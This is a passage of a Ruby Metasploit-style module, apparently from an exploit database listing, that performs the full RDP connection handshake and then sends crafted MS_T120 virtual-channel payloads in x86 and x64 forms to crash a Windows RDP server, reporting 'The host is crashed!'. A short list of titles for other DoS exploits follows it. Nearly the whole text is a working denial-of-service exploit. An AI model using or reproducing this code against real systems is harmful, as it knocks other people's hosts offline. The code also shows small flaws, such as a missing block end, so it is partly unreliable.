"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +

"\x00\x00\x00\x00" +

"\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET

"\x08\x00" + # lengthCapability: 8

"\x01\x00\x00\x00" +

"\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET

"\x08\x00" + # lengthCapability: 8

"\x01\x00\x00\x00" +

"\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET

"\x34\x00" + # lengthCapability: 52

"\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" +

"\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" +

"\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" +

"\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET

"\x08\x00" + # lengthCapability: 8

"\x01\x00\x00\x00" +

"\x11\x00" + # capabilitySetType: ??

"\x0c\x00" + # lengthCapability: 12

"\x01\x00\x00\x00\x00\x28\x64\x00" +

"\x14\x00" + # capabilitySetType: ??

"\x0c\x00" + # lengthCapability: 12

"\x01\x00\x00\x00\x00\x00\x00\x00" +

"\x15\x00" + # capabilitySetType: ??

"\x0c\x00" + # lengthCapability: 12

"\x02\x00\x00\x00\x00\x0a\x00\x01" +

"\x1a\x00" + # capabilitySetType: ??

"\x08\x00" + # lengthCapability: 8

"\xaf\x94\x00\x00" +

"\x1c\x00" + # capabilitySetType: ??

"\x0c\x00" + # lengthCapability: 12

"\x12\x00\x00\x00\x00\x00\x00\x00" +

"\x1b\x00" + # capabilitySetType: ??

"\x06\x00" + # lengthCapability: 6

"\x01\x00" +

"\x1e\x00" + # capabilitySetType: ??

"\x08\x00" + # lengthCapability: 8

"\x01\x00\x00\x00" +

"\x18\x00" + # capabilitySetType: ??

"\x0b\x00" + # lengthCapability: 11

"\x02\x00\x00\x00\x03\x0c\x00" +

"\x1d\x00" + # capabilitySetType: ??

"\x5f\x00" + # lengthCapability: 95

"\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" +

"\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" +

"\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" +

"\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" +

"\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" +

"\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"

## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU

return(rdp_build_share_control_header(0x13, pdu))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992

## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1

def pdu_client_synchronize(target_user = 0)

pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC

[target_user].pack("S<") # targetUser, 16 bit, unsigned.

## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE

data_header = rdp_build_share_data_header(0x1f, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

return(rdp_build_share_control_header(0x17, data_header))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135

## Control Cooperate - TC_CONTROL_PDU 2.2.1.15

def pdu_client_control_cooperate()

pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE

"\x00\x00" + # grantId: 0

"\x00\x00\x00\x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL

data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

return(rdp_build_share_control_header(0x17, data_header))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35

## Control Request - TC_CONTROL_PDU 2.2.1.16

def pdu_client_control_request()

pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL

"\x00\x00" + # grantId: 0

"\x00\x00\x00\x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL

data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

return(rdp_build_share_control_header(0x17, data_header))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396

## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1

def pdu_client_input_event_sychronize()

pdu = "\x01\x00" + # numEvents: 1

"\x00\x00" + # pad2Octets

"\x00\x00\x00\x00" + # eventTime

"\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC

## TS_SYNC_EVENT 202.8.1.1.3.1.1.5

"\x00\x00" + # pad2Octets

"\x00\x00\x00\x00" # toggleFlags

## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT

data_header = rdp_build_share_data_header(0x1c, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

return(rdp_build_share_control_header(0x17, data_header))

end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9

## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18

def pdu_client_font_list()

pdu = "\x00\x00" + # numberFonts: 0

"\x00\x00" + # totalNumberFonts: 0

"\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)

"\x32\x00" # entrySize: 50

## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST

data_header = rdp_build_share_data_header(0x27, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

return(rdp_build_share_control_header(0x17, data_header))

end

# ------------------------------------------------------------------------- #

def crash_test(rc4enckey, hmackey)

begin

received = ""

for i in 0..5

received += rdp_recv()

end

rescue RdpCommunicationError

# we don't care

end

vprint_status("Sending DoS payload")

found = false

for j in 0..15

## x86_payload:

rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))

## x64_payload:

rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))

end

def produce_dos()

unless(rdp_connection_initiation())

vprint_status("Could not connect to RDP.")

return(false)

end

vprint_status("Sending initial client data")

received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))

rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)

vprint_status("Sending erect domain request")

rdp_send(pdu_erect_domain_request())

vprint_status("Sending attach user request")

received = rdp_sendrecv(pdu_attach_user_request())

user1 = received[9, 2].unpack("n").first

[1003, 1004, 1005, 1006, 1007].each do | chan |

rdp_sendrecv(pdu_channel_request(user1, chan))

end

## 5.3.4 Client Random Value

client_rand = ''

32.times { client_rand << rand(0..255) }

rcran = bytes_to_bignum(client_rand)

vprint_status("Sending security exchange PDU")

rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))

## We aren't decrypting anything at this point. Leave the variables here

## to make it easier to understand in the future.

rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)

vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")

vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")

vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}")

vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")

rc4enckey = RC4.new(rc4encstart)

vprint_status("Sending client info PDU") # TODO

pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])

received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true))

vprint_status("Received License packet")

rdp_recv()

vprint_status("Sending client confirm active PDU")

rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))

vprint_status("Sending client synchronize PDU")

rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))

vprint_status("Sending client control cooperate PDU")

rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))

vprint_status("Sending client control request control PDU")

rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))

vprint_status("Sending client input sychronize PDU")

rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))

vprint_status("Sending client font list PDU")

rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))

vprint_status("Sending close mst120 PDU")

crash_test(rc4enckey, hmackey)

vprint_status("Sending client disconnection PDU")

rdp_send(rdp_build_data_tpdu("\x21\x80"))

return(true)

end

# ------------------------------------------------------------------------- #

def run_host(ip)

## Allow the run command to call the check command.

begin

if(open_connection())

status = produce_dos()

end

rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e

bt = e.backtrace.join("\n")

vprint_error("Unexpected error: #{e.message}")

vprint_line(bt)

elog("#{e.message}\n#{bt}")

rescue RdpCommunicationError => e

vprint_error("Error communicating RDP protocol.")

status = Exploit::CheckCode::Unknown

rescue Errno::ECONNRESET => e # NLA?

vprint_error("Connection reset, possible NLA is enabled.")

rescue => e

bt = e.backtrace.join("\n")

vprint_error("Unexpected error: #{e.message}")

vprint_line(bt)

elog("#{e.message}\n#{bt}")

ensure

if(status == true)

sleep(1)

unless(open_connection())

print_good("The host is crashed!")

else

print_bad("The DoS has been sent but the host is already connected!")

end

disconnect()

end

相关漏洞条目

strongSwan 5.9.13 – DoS

Xlight FTP 1.1 – Denial Of Service (DOS)

Windows TCP/IP – RCE Checker and Denial of Service

RouterOS 6.40.5 – 6.44 and 6.48.1 – 6.49.10 – Denial of Service